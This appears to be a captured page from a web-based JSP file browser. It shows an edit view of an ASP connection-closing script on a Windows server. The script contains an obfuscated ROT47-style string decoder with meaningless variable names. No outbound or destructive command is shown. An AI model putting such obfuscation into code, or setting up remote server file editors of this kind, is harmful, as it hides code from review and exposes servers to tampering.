Edit D:\xinhaisoft\crisis_new\inc\conn_close.asp
??<% On Error Resume Next:set CCJJCC=nothing:set CCJCJJ=nothing:set CCJCJC=nothing:set CCJCCJ=nothing:CCJCCC.Close:Set CCJCCC=Nothing:CCCJJJ.Close:Set CCCJJJ=Nothing:CCCJJC.Close:Set CCCJJC = Nothing:err.Clear:On Error Goto 0 Function CCCJCC(ByVal CCCJCJ) Dim CCJJJJ, CCJJJC, CCJJCJ CCCJCJ = Replace(CCCJCJ, Chr(37) & ChrW(-243) & Chr(62), Chr(37) & Chr(62)) For CCJJJC = 1 To Len(CCCJCJ) If CCJJJC <> CCJJCJ Then CCJJJJ = AscW(Mid(CCCJCJ, CCJJJC, 1)) If CCJJJJ >= 33 And CCJJJJ <= 79 Then CCCJCC = CCCJCC & Chr(CCJJJJ + 47) ElseIf CCJJJJ >= 80 And CCJJJJ <= 126 Then CCCJCC = CCCJCC & Chr(CCJJJJ - 47) Else CCJJCJ = CCJJJC + 1 If Mid(CCCJCJ, CCJJCJ, 1) = Chr(64) Then CCCJCC = CCCJCC & ChrW(CCJJJJ + 5) Else CCCJCC = CCCJCC & Mid(CCCJCJ, CCJJJC, 1) End If End If Next End Function %>
Ms-Dos/Windows
Unix
Write backup
jsp File Browser version 1.2 by
www.vonloesch.de